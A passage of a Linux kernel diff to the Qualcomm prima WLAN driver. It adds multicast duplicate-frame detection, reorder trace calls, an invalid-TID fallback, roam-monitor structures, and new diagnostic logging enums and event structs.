VOS_MAC_ADDR_SIZE); + + /* + * We perform duplicate detection for only multicast data frames + */ + if (vos_is_macaddr_group(&mcastAddr) && + !vos_is_macaddr_broadcast(&mcastAddr)) + { + /* Get sequence control of Data Frame */ + vosStatus = vos_pkt_peek_data(vosDataBuff, + (WLANTL_MAC_ADDR_ALIGN(1) + (3 * VOS_MAC_ADDR_SIZE)), + (v_PVOID_t)&pvPeekData, sizeof(v_U16_t)); + + if ( VOS_STATUS_SUCCESS != vosStatus ) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL: Failed to get Sequence Control from packet %d", + vosStatus)); + return VOS_FALSE; + } + + /* Copy sequence control from the Data Frame */ + usSeqCtrl = *(v_U16_t *)pvPeekData; + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&(pClientSTA->mcLock)))) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "%s Get Lock Fail", __func__)); + return VOS_FALSE; + } + + pNode = WLANTL_RmcLookUpRmcSession(pClientSTA->mcastSession, + &mcastAddr); + if (NULL == pNode) + { + /* If the session does not exist, add it. */ + pNode = WLANTL_RmcAddRmcSession(pClientSTA->mcastSession, + &mcastAddr); + /* If we could not add a entry, skip duplicate detection */ + if (NULL == pNode) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "%s Failed to add multicast session", __func__)); + if (!VOS_IS_STATUS_SUCCESS + (vos_lock_release(&(pClientSTA->mcLock)))) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "%s Release Lock Fail", __func__)); + } + return VOS_FALSE; + } + /* Initialize the sequence control value. */ + pNode->mcSeqCtl = usSeqCtrl; + } + else + { + /* + * Check if the sequence number of this frame matches the last + * we have seen. + */ + if (pNode->mcSeqCtl == usSeqCtrl) + { + pNode->rxMCDupcnt++; + TLLOG1(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO, + "%s Rx Multicast Duplicate %d " MAC_ADDRESS_STR + " (Seq %x)", __func__, + pNode->rxMCDupcnt, MAC_ADDR_ARRAY(mcastAddr.bytes), + usSeqCtrl)); + duplicate = VOS_TRUE; + } + else + { + /* Update the last seen sequence number */ + pNode->mcSeqCtl = usSeqCtrl; + } + } + + if (!VOS_IS_STATUS_SUCCESS (vos_lock_release(&(pClientSTA->mcLock)))) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "%s Release Lock Fail", __func__)); + } + } + + return duplicate; +} + +/*============================================================================= + FUNCTION WLANTL_McastDeleteAllEntries + + DESCRIPTION + This function removes all multicast entries used for duplicate detection + + DEPENDENCIES + + PARAMETERS + + IN + + pClientSTA : Pointer to WLANTL_STAClientType + + RETURN VALUE + + None + +==============================================================================*/ +void +WLANTL_McastDeleteAllEntries(WLANTL_STAClientType * pClientSTA) +{ + WLANTL_RMC_SESSION *pNode, **head; + int index; + + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO, + "%s Deleting all multicast entries", __func__)); + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&(pClientSTA->mcLock)))) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "%s Get Lock Fail", __func__)); + return; + } + + for (index = 0; index < WLANTL_RMC_HASH_TABLE_SIZE; index++) + { + head = &pClientSTA->mcastSession[index]; + + pNode = *head; + + while (pNode) + { + *head = pNode->next; + /* free the group entry */ + vos_mem_free(pNode); + pNode = *head; + } + } + + if (!VOS_IS_STATUS_SUCCESS (vos_lock_release(&(pClientSTA->mcLock)))) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "%s Release Lock Fail", __func__)); + } +} + +/*============================================================================= + FUNCTION WLANTL_SetMcastDuplicateDetection + + DESCRIPTION + This function sets multicate duplicate detection operation. + If enable is 1, the detection is enabled, else it is disabled. + + DEPENDENCIES + + PARAMETERS + + IN + + pvosGCtx : Pointer to VOS global context + enable : Boolean to enable or disable + + RETURN VALUE + The result code associated with performing the operation + + VOS_STATUS_E_FAULT: Sanity check on input failed + + VOS_STATUS_SUCCESS: Everything is good :) + + Other return values are possible coming from the called functions. + Please check API for additional info. + + SIDE EFFECTS + +==============================================================================*/ +VOS_STATUS +WLANTL_SetMcastDuplicateDetection +( + v_PVOID_t pvosGCtx, + v_U8_t enable +) +{ + WLANTL_CbType* pTLCb; + + /*Sanity check*/ + if (NULL == pvosGCtx) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL %s: Sanity check failed pvosGCtx %p", + __func__, pvosGCtx)); + return VOS_STATUS_E_FAILURE; + } + + /*Sanity check*/ + pTLCb = VOS_GET_TL_CB(pvosGCtx); + if (NULL == pTLCb) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL %s: pTLCb is NULL", __func__)); + return VOS_STATUS_E_FAILURE; + } + + switch (enable) + { + default: + /* + * Any value other than 0 or 1 is used to dump the + * duplicate count. + */ + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL %s: Multicast Duplicate Count %d", + __func__, pTLCb->mcastDupCnt)); + break; + case 0: + case 1: + pTLCb->multicastDuplicateDetectionEnabled = enable; + break; + } + + return VOS_STATUS_SUCCESS; +} + +#endif /* WLAN_FEATURE_RMC */ diff --git a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl_ba.c b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl_ba.c index a991a2bff3855..9f601887f46b4 100644 --- a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl_ba.c +++ b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl_ba.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1204,6 +1204,9 @@ VOS_STATUS WLANTL_MSDUReorder } if(VOS_STATUS_E_RESOURCES == status) { + MTRACE(vos_trace(VOS_MODULE_ID_TL, TRACE_CODE_TL_QUEUE_CURRENT, + currentReorderInfo->sessionID , ucOpCode )); + /* This is the case slot index is already cycle one route, route all the frames Qed */ vosPktIdx = NULL; status = WLANTL_ChainFrontPkts(ucFwdIdx, @@ -1332,6 +1335,9 @@ VOS_STATUS WLANTL_MSDUReorder } if(VOS_STATUS_E_RESOURCES == status) { + MTRACE(vos_trace(VOS_MODULE_ID_TL, TRACE_CODE_TL_QUEUE_CURRENT, + currentReorderInfo->sessionID , ucOpCode )); + /* This is the case slot index is already cycle one route, route all the frames Qed */ vosPktIdx = NULL; status = WLANTL_ChainFrontPkts(ucFwdIdx, @@ -1393,6 +1399,9 @@ VOS_STATUS WLANTL_MSDUReorder } if(VOS_STATUS_E_RESOURCES == status) { + MTRACE(vos_trace(VOS_MODULE_ID_TL, TRACE_CODE_TL_QUEUE_CURRENT, + currentReorderInfo->sessionID , ucOpCode )); + vos_pkt_return_packet(vosPktIdx); /* This is the case slot index is already cycle one route, route all the frames Qed */ vosPktIdx = NULL; @@ -1526,6 +1535,13 @@ VOS_STATUS WLANTL_MSDUReorder WLANTL_FillReplayCounter(currentReorderInfo, ullreplayCounter, ucSlotIdx); } + + if(VOS_STATUS_E_RESOURCES == status) + { + MTRACE(vos_trace(VOS_MODULE_ID_TL, TRACE_CODE_TL_QUEUE_CURRENT, + currentReorderInfo->sessionID , ucOpCode )); + } + if(!VOS_IS_STATUS_SUCCESS(status)) { TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR,"Q Current frame fail %d", @@ -1717,7 +1733,10 @@ VOS_STATUS WLANTL_QueueCurrent MTRACE(vos_trace(VOS_MODULE_ID_TL, TRACE_CODE_TL_QUEUE_CURRENT, pwBaReorder->sessionID , pwBaReorder->pendingFramesCount )); - TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR,"One Cycle rounded, lost many frames already, not in Q %d", + MTRACE(vos_trace(VOS_MODULE_ID_TL, TRACE_CODE_TL_QUEUE_CURRENT, + pwBaReorder->sessionID , ucSlotIndex )); + + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO,"One Cycle rounded, lost many frames already, not in Q %d", pwBaReorder->pendingFramesCount)); return VOS_STATUS_E_RESOURCES; } diff --git a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl_hosupport.c b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl_hosupport.c index c4f8df6460926..950f3f0f32c69 100644 --- a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl_hosupport.c +++ b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl_hosupport.c @@ -1313,6 +1313,15 @@ VOS_STATUS WLANTL_HSHandleRXFrame (WLANTL_MGMT_FRAME_TYPE != frameType)) { tid = WDA_GET_RX_TID( pBDHeader ); + + /* If AP uses TID greater than 8 for EAPOL packet connection will not + be established. To ensure no connection fail use TID as zero.*/ + if (WLANTL_TID_INVALID(tid)) { + VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO, + "WLAN TL:Invalid Tid: %d", tid); + tid = 0; + } + ac = WLANTL_HO_TID_2_AC[(v_U8_t)tid]; /* Only Voice traffic is handled as real time traffic */ diff --git a/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h b/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h index c59067c347d08..50698636f2d2c 100644 --- a/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h +++ b/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -58,6 +58,7 @@ DESCRIPTION when who what, where, why -------- --- ---------------------------------------------------------- +08/19/13 rajekuma Added RMC support in TL 02/19/10 bad Fixed 802.11 to 802.3 ft issues with WAPI 01/14/10 rnair Fixed the byte order for the WAI packet type. 01/08/10 lti Added TL Data Caching @@ -185,6 +186,10 @@ when who what, where, why #define WLANTL_FRAME_TYPESUBTYPE_MASK 0x3F +#ifdef WLAN_FEATURE_RMC +#define WLANTL_RMC_HASH_TABLE_SIZE (32) +#endif + /*------------------------------------------------------------------------- BT-AMP related definition - !!! should probably be moved to BT-AMP header ---------------------------------------------------------------------------*/ @@ -491,6 +496,18 @@ typedef struct v_U8_t ucSet; }WLANTL_UAPSDInfoType; +#ifdef WLAN_FEATURE_RMC +struct tTL_RMCList +{ + struct tTL_RMCList *next; + v_MACADDR_t rmcAddr; + v_U16_t mcSeqCtl; + v_U32_t rxMCDupcnt; +}; + +typedef struct tTL_RMCList WLANTL_RMC_SESSION; +#endif + /*--------------------------------------------------------------------------- per-STA cache info ---------------------------------------------------------------------------*/ @@ -685,6 +702,11 @@ typedef struct v_U32_t linkCapacity; +#ifdef WLAN_FEATURE_RMC + WLANTL_RMC_SESSION *mcastSession[WLANTL_RMC_HASH_TABLE_SIZE]; + vos_lock_t mcLock; +#endif + #ifdef WLAN_FEATURE_LINK_LAYER_STATS /* Value of the averaged Data RSSI for this station */ @@ -701,6 +723,9 @@ typedef struct /* BD Rate for transmitting ARP packets */ v_U8_t arpRate; v_BOOL_t arpOnWQ5; + + /* Disassoc in progress */ + v_BOOL_t disassoc_progress; }WLANTL_STAClientType; /*--------------------------------------------------------------------------- @@ -785,6 +810,37 @@ typedef struct vos_lock_t hosLock; } WLANTL_HO_SUPPORT_TYPE; +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +#define ROAM_MAX_INDEX_NUM 50 +#define ROAM_PER_INDEX_TIME 500 /* (msec) */ +#define MIN_PKTS_TO_START_MONTIOR 10 + +typedef struct +{ + v_U64_t lowRateRxPacketsRcvd; + v_U64_t totalPktRcvd; + v_U64_t time; +}WLANTL_RoamTrafficStatsType; + +typedef struct { + v_U8_t running; + v_U8_t staId; + v_S7_t index; + v_U8_t intialPktToStart; + v_U8_t minPercentage; + v_U16_t minRate; + v_U16_t maxRate; + v_U32_t minPktRequired; + v_U64_t totalPkt; + v_U64_t timeToWait; + v_U64_t lowRatePkt; + v_U64_t lastTriggerTime; + WLANTL_RoamTrafficStatsType rxRoamStats[ROAM_MAX_INDEX_NUM]; + void (*triggerRoamScanfn) (void *, v_U8_t); + void *hHal; +}WLANTL_RoamMonitorType; +#endif + /*--------------------------------------------------------------------------- TL control block type ---------------------------------------------------------------------------*/ @@ -896,11 +952,23 @@ typedef struct v_BOOL_t isBMPS; /* Whether WDA_DS_TX_START_XMIT msg is pending or not */ v_BOOL_t isTxTranmitMsgPending; + +#ifdef WLAN_FEATURE_RMC + WLANTL_RMC_SESSION *rmcSession[WLANTL_RMC_HASH_TABLE_SIZE]; + vos_lock_t rmcLock; + v_U8_t multicastDuplicateDetectionEnabled; + v_U8_t rmcDataPathEnabled; + v_U32_t mcastDupCnt; +#endif WLANTL_MonRxCBType pfnMonRx; v_BOOL_t isConversionReq; +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + WLANTL_RoamMonitorType gDsRxRoamStats; +#endif }WLANTL_CbType; + /*========================================================================== FUNCTION WLANTL_GetFrames @@ -1754,4 +1822,99 @@ WLANTL_FwdPktToHDD v_U8_t ucSTAId ); +#ifdef WLAN_FEATURE_RMC +VOS_STATUS WLANTL_RmcInit +( + v_PVOID_t pAdapter +); + +VOS_STATUS WLANTL_RmcDeInit +( + v_PVOID_t pAdapter +); + + +tANI_U8 WLANTL_RmcHashRmcSession ( v_MACADDR_t *pMcastAddr ); + + +WLANTL_RMC_SESSION *WLANTL_RmcLookUpRmcSession +( + WLANTL_RMC_SESSION *rmcSession[], + v_MACADDR_t *pMcastAddr +); + +WLANTL_RMC_SESSION *WLANTL_RmcAddRmcSession +( + WLANTL_RMC_SESSION *rmcSession[], + v_MACADDR_t *pMcastAddr +); + +tANI_U8 +WLANTL_RmcDeleteRmcSession +( + WLANTL_RMC_SESSION *rmcSession[], + v_MACADDR_t *pMcastAddr +); + +VOS_STATUS +WLANTL_ProcessRmcCommand +( + WLANTL_CbType* pTLCb, + v_MACADDR_t *pMcastAddr, + tANI_U32 command +); + +/*============================================================================= + FUNCTION WLANTL_IsDuplicateMcastFrm + + DESCRIPTION + This function checks for duplicast multicast frames and drops them. + + DEPENDENCIES + + PARAMETERS + + IN + + pClientSTA : Pointer to WLANTL_STAClientType + aucBDHeader : Pointer to BD header + + RETURN VALUE + + VOS_FALSE: This frame is not a duplicate + + VOS_TRUE: This frame is a duplicate + +==============================================================================*/ +v_U8_t +WLANTL_IsDuplicateMcastFrm +( + WLANTL_STAClientType *pClientSTA, + vos_pkt_t* vosDataBuff +); + +/*============================================================================= + FUNCTION WLANTL_McastDeleteAllEntries + + DESCRIPTION + This function removes all multicast entries used for duplicate detection + + DEPENDENCIES + + PARAMETERS + + IN + + pClientSTA : Pointer to WLANTL_STAClientType + + RETURN VALUE + + None + +==============================================================================*/ +void +WLANTL_McastDeleteAllEntries(WLANTL_STAClientType * pClientSTA); + +#endif /*WLAN_FEATURE_RMC*/ + #endif /* #ifndef WLAN_QCT_TLI_H */ diff --git a/drivers/staging/prima/CORE/VOSS/inc/event_defs.h b/drivers/staging/prima/CORE/VOSS/inc/event_defs.h index 4d2ba20b93e57..690745667e7ac 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/event_defs.h +++ b/drivers/staging/prima/CORE/VOSS/inc/event_defs.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1903,7 +1903,14 @@ typedef enum EVENT_SNS_DRV_OPMODE_CHANGE = 0x768, EVENT_WLAN_EAPOL = 0xA8D,/* 18 bytes payload */ EVENT_WLAN_WAKE_LOCK = 0xAA2, /* 96 bytes payload */ - + EVENT_WLAN_LOG_COMPLETE = 0xAA7, /* 16 bytes payload */ + EVENT_WLAN_STATUS_V2 = 0xAB3, + EVENT_WLAN_TDLS_TEARDOWN = 0xAB5, + EVENT_WLAN_TDLS_ENABLE_LINK = 0XAB6, + EVENT_WLAN_SUSPEND_RESUME = 0xAB7, + EVENT_OFFLOAD_REQ = 0xAB8, + EVENT_TDLS_SCAN_BLOCK = 0xAB9, + EVENT_WLAN_TX_RX_MGMT = 0xABA, EVENT_NEXT_UNUSED_EVENT, EVENT_RSVD_START = 0x0800, EVENT_RSVD_END = 0x083F, diff --git a/drivers/staging/prima/CORE/VOSS/inc/i_vos_trace.h b/drivers/staging/prima/CORE/VOSS/inc/i_vos_trace.h index ccc4c770ce232..4708a3ed1ad9a 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/i_vos_trace.h +++ b/drivers/staging/prima/CORE/VOSS/inc/i_vos_trace.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -149,4 +149,6 @@ void __printf(3,4) vos_snprintf(char *strBuffer, unsigned int size, #define VOS_RETURN_ADDRESS __builtin_return_address(0) +#define VOS_SMP_MB smp_mb() + #endif diff --git a/drivers/staging/prima/CORE/VOSS/inc/log_codes.h b/drivers/staging/prima/CORE/VOSS/inc/log_codes.h index d5e4e9e11b0a4..250727dde4085 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/log_codes.h +++ b/drivers/staging/prima/CORE/VOSS/inc/log_codes.h @@ -2010,8 +2010,11 @@ when who what, where, why #define LOG_TRSP_DATA_STALL_C ((0x801) + LOG_1X_BASE_C) +#define LOG_WLAN_PKT_LOG_INFO_C ((0x8E0) + LOG_1X_BASE_C) + + /* The last defined DMSS log code */ -#define LOG_1X_LAST_C ((0x801) + LOG_1X_BASE_C) +#define LOG_1X_LAST_C ((0x8E0) + LOG_1X_BASE_C) /* This is only here for old (pre equipment ID update) logging code */ diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_api.h b/drivers/staging/prima/CORE/VOSS/inc/vos_api.h index 7e5d0da8a1704..99039cd3cc4ae 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_api.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_api.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -75,7 +75,58 @@ #include #include +/** + * enum userspace_log_level - Log level at userspace + * @LOG_LEVEL_NO_COLLECTION: verbose_level 0 corresponds to no collection + * @LOG_LEVEL_NORMAL_COLLECT: verbose_level 1 correspond to normal log level, + * with minimal user impact. this is the default value + * @LOG_LEVEL_ISSUE_REPRO: verbose_level 2 are enabled when user is lazily + * trying to reproduce a problem, wifi performances and power can be impacted + * but device should not otherwise be significantly impacted + * @LOG_LEVEL_ACTIVE: verbose_level 3+ are used when trying to + * actively debug a problem + * + * Various log levels defined in the userspace for logging applications + */ +enum userspace_log_level { + LOG_LEVEL_NO_COLLECTION, + LOG_LEVEL_NORMAL_COLLECT, + LOG_LEVEL_ISSUE_REPRO, + LOG_LEVEL_ACTIVE, +}; + +/** + * enum wifi_driver_log_level - Log level defined in the driver for logging + * @WLAN_LOG_LEVEL_OFF: No logging + * @WLAN_LOG_LEVEL_NORMAL: Default logging + * @WLAN_LOG_LEVEL_REPRO: Normal debug level + * @WLAN_LOG_LEVEL_ACTIVE: Active debug level + * + * Log levels defined for logging by the wifi driver + */ +enum wifi_driver_log_level { + WLAN_LOG_LEVEL_OFF, + WLAN_LOG_LEVEL_NORMAL, + WLAN_LOG_LEVEL_REPRO, + WLAN_LOG_LEVEL_ACTIVE, +}; + +/** + * enum wifi_logging_ring_id - Ring id of logging entities + * @RING_ID_WAKELOCK: Power events ring id + * @RING_ID_CONNECTIVITY: Connectivity event ring id + * @RING_ID_PER_PACKET_STATS: Per packet statistic ring id + * + * This enum has the ring id values of logging rings + */ +enum wifi_logging_ring_id { + RING_ID_WAKELOCK, + RING_ID_CONNECTIVITY, + RING_ID_PER_PACKET_STATS, +}; +/* 15 Min */ +#define WLAN_POWER_COLLAPSE_FAIL_THRESHOLD (1000 * 60 * 15) /** * enum log_event_type - Type of event initiating bug report * @WLAN_LOG_TYPE_NON_FATAL: Non fatal event @@ -94,6 +145,9 @@ enum log_event_type { * @WLAN_LOG_INDICATOR_FRAMEWORK: Framework triggers bug report * @WLAN_LOG_INDICATOR_HOST_DRIVER: Host driver triggers bug report * @WLAN_LOG_INDICATOR_FIRMWARE: FW initiates bug report + * @WLAN_LOG_INDICATOR_IOCTL: Bug report is initiated by IOCTL + * @WLAN_LOG_INDICATOR_HOST_ONLY: Host initiated and only Host + * logs are needed * * Enum indicating the module that triggered the bug report */ @@ -102,51 +156,56 @@ enum log_event_indicator { WLAN_LOG_INDICATOR_FRAMEWORK, WLAN_LOG_INDICATOR_HOST_DRIVER, WLAN_LOG_INDICATOR_FIRMWARE, - WLAN_LOG_INDICATOR_IOCTL + WLAN_LOG_INDICATOR_IOCTL, + WLAN_LOG_INDICATOR_HOST_ONLY, }; /** * enum log_event_host_reason_code - Reason code for bug report * @WLAN_LOG_REASON_CODE_UNUSED: Unused - * @WLAN_LOG_REASON_COMMAND_UNSUCCESSFUL: Command response status from FW - * is error * @WLAN_LOG_REASON_ROAM_FAIL: Driver initiated roam has failed * @WLAN_LOG_REASON_THREAD_STUCK: Monitor Health of host threads and report * fatal event if some thread is stuck * @WLAN_LOG_REASON_DATA_STALL: Unable to send/receive data due to low resource * scenario for a prolonged period * @WLAN_LOG_REASON_SME_COMMAND_STUCK: SME command is stuck in SME active queue - * @WLAN_LOG_REASON_ZERO_SCAN_RESULTS: Full scan resulted in zero scan results * @WLAN_LOG_REASON_QUEUE_FULL: Defer queue becomes full for a prolonged period * @WLAN_LOG_REASON_POWER_COLLAPSE_FAIL: Unable to allow apps power collapse * for a prolonged period - * @WLAN_LOG_REASON_SSR_FAIL: Unable to gracefully complete SSR - * @WLAN_LOG_REASON_DISCONNECT_FAIL: Disconnect from Supplicant is not - * successful - * @WLAN_LOG_REASON_CLEAN_UP_FAIL: Clean up of TDLS or Pre-Auth Sessions - * not successful * @WLAN_LOG_REASON_MALLOC_FAIL: Memory allocation Fails * @WLAN_LOG_REASON_VOS_MSG_UNDER_RUN: VOS Core runs out of message wrapper - * @WLAN_LOG_REASON_MSG_POST_FAIL: Unable to post msg - * + * @WLAN_LOG_REASON_IOCTL: Initiated by IOCTL + * @WLAN_LOG_REASON_CODE_FRAMEWORK: Initiated by framework + * @WLAN_LOG_REASON_DEL_BSS_STA_FAIL: DEL BSS/STA rsp is failure + * @WLAN_LOG_REASON_ADD_BSS_STA_FAIL: ADD BSS/STA rsp is failure + * @WLAN_LOG_REASON_ENTER_IMPS_BMPS_FAIL: Enter IMPS/BMPS rsp failure + * @WLAN_LOG_REASON_EXIT_IMPS_BMPS_FAIL: Exit IMPS/BMPS rsp failure + * @WLAN_LOG_REASON_HDD_TIME_OUT: Wait for event Timeout in HDD layer + * @WLAN_LOG_REASON_MGMT_FRAME_TIMEOUT:Management frame timedout + * @WLAN_LOG_REASON_SME_OUT_OF_CMD_BUFL sme out of cmd buffer + * @WLAN_LOG_REASON_SCAN_NOT_ALLOWED: scan not allowed due to connection states * This enum contains the different reason codes for bug report */ enum log_event_host_reason_code { WLAN_LOG_REASON_CODE_UNUSED, - WLAN_LOG_REASON_COMMAND_UNSUCCESSFUL, WLAN_LOG_REASON_ROAM_FAIL, WLAN_LOG_REASON_THREAD_STUCK, WLAN_LOG_REASON_DATA_STALL, WLAN_LOG_REASON_SME_COMMAND_STUCK, - WLAN_LOG_REASON_ZERO_SCAN_RESULTS, WLAN_LOG_REASON_QUEUE_FULL, WLAN_LOG_REASON_POWER_COLLAPSE_FAIL, - WLAN_LOG_REASON_SSR_FAIL, - WLAN_LOG_REASON_DISCONNECT_FAIL, - WLAN_LOG_REASON_CLEAN_UP_FAIL, WLAN_LOG_REASON_MALLOC_FAIL, WLAN_LOG_REASON_VOS_MSG_UNDER_RUN, - WLAN_LOG_REASON_MSG_POST_FAIL, + WLAN_LOG_REASON_IOCTL, + WLAN_LOG_REASON_CODE_FRAMEWORK, + WLAN_LOG_REASON_DEL_BSS_STA_FAIL, + WLAN_LOG_REASON_ADD_BSS_STA_FAIL, + WLAN_LOG_REASON_ENTER_IMPS_BMPS_FAIL, + WLAN_LOG_REASON_EXIT_IMPS_BMPS_FAIL, + WLAN_LOG_REASON_HDD_TIME_OUT, + WLAN_LOG_REASON_MGMT_FRAME_TIMEOUT, + WLAN_LOG_REASON_SME_OUT_OF_CMD_BUF, + WLAN_LOG_REASON_SCAN_NOT_ALLOWED, }; /*------------------------------------------------------------------------- @@ -255,10 +314,15 @@ VOS_STATUS vos_logger_pkt_serialize(vos_pkt_t *pPacket, uint32 pkt_type); bool vos_is_log_report_in_progress(void); void vos_reset_log_report_in_progress(void); int vos_set_log_completion(uint32 is_fatal, uint32 indicator, uint32 reason_code); -void vos_get_log_completion(uint32 *is_fatal, uint32 *indicator, uint32 *reason_code); +void vos_get_log_and_reset_completion(uint32 *is_fatal, + uint32 *indicator, uint32 *reason_code, bool reset); +v_BOOL_t vos_isFatalEventEnabled(void); VOS_STATUS vos_fatal_event_logs_req( uint32_t is_fatal, uint32_t indicator, - uint32_t reason_code, bool waitRequired); + uint32_t reason_code, bool wait_required, + bool dump_vos_trace); VOS_STATUS vos_process_done_indication(v_U8_t type, v_U32_t reason_code); +void vos_flush_host_logs_for_fatal(void); + void vos_send_fatal_event_done(void); @@ -432,9 +496,21 @@ v_U8_t vos_is_fw_ev_logging_enabled(void); v_U8_t vos_is_fw_logging_supported(void); void vos_set_multicast_logging(uint8_t value); v_U8_t vos_is_multicast_logging(void); -bool vos_is_wakelock_enabled(void); +void vos_set_ring_log_level(v_U32_t ring_id, v_U32_t log_level); +v_U8_t vos_get_ring_log_level(v_U32_t ring_id); +void get_rate_and_MCS(per_packet_stats *stats, uint32 rateindex); + v_BOOL_t vos_isUnloadInProgress(void); v_BOOL_t vos_isLoadUnloadInProgress(void); +bool vos_get_rx_wow_dump(void); +void vos_set_rx_wow_dump(bool value); + void vos_probe_threads(void); +void vos_per_pkt_stats_to_user(void *perPktStat); +void vos_updatePktStatsInfo(void * pktStat); +bool vos_is_wlan_logging_enabled(void); + +v_BOOL_t vos_is_probe_rsp_offload_enabled(void); + #endif // if !defined __VOS_NVITEM_H diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_diag_core_event.h b/drivers/staging/prima/CORE/VOSS/inc/vos_diag_core_event.h index 715fbd2002a72..c52a6f5603334 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_diag_core_event.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_diag_core_event.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2014-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -74,12 +74,12 @@ typedef struct } vos_event_wlan_security_payload_type; /*------------------------------------------------------------------------- - Event ID: EVENT_WLAN_STATUS + Event ID: EVENT_WLAN_STATUS_V2 ------------------------------------------------------------------------*/ typedef struct { v_U8_t eventId; - v_U8_t ssid[6]; + v_U8_t ssid[32]; v_U8_t bssType; v_U8_t rssi; v_U8_t channel; @@ -282,7 +282,108 @@ struct vos_event_wlan_wake_lock char name[WAKE_LOCK_NAME_LEN]; }; +/** + * struct vos_event_tdls_teardown - tdls teardown diag event + * @reason: reason for tear down + * @peer_mac: peer mac + * + * This structure contain tdls teardown diag event info + */ + +struct vos_event_tdls_teardown { + uint32_t reason; + uint8_t peer_mac[6]; +}; + +/** + * struct vos_event_tdls_enable_link - tdls enable link event + * @peer_mac: peer mac + * @is_off_chan_supported: if off channel supported + * @is_off_chan_configured: if off channel configured + * @is_off_chan_established: if off channel established + * + * This structure contain tdls enable link diag event info + */ +struct vos_event_tdls_enable_link { + uint8_t peer_mac[6]; + uint8_t is_off_chan_supported; + uint8_t is_off_chan_configured; + uint8_t is_off_chan_established; +}; + +/** + * struct vos_event_suspend - suspend/resume state + * @state: suspend/resume state + * + * This structure contains suspend resume diag event info + */ + +struct vos_event_suspend { + uint8_t state; +}; + +/** + * struct vos_event_offload_req - offload state + * @offload_type: offload type + * @state: enabled or disabled state + * + * This structure contains offload diag event info + */ +struct vos_event_offload_req { + uint8_t offload_type; + uint8_t state; +}; + +/** + * struct vos_event_tdls_scan_rejected - scan + * rejected due to tdls + * @status: rejected status + * + * This structure contains scan rejected due to + * tdls event info + */ +struct vos_event_tdls_scan_rejected { + uint8_t status; +}; + +/** + * struct vos_event_tx_rx_mgmt - for TX RX management frame + * @event_id: event ID + * @tx_rx: tx or rx + * @type: type of frame + * @action_sub_type: action frame type + * @peer_mac: peer mac + * + * This structure contains tdls TX RX management frame info + */ +struct vos_event_tx_rx_mgmt { + uint8_t 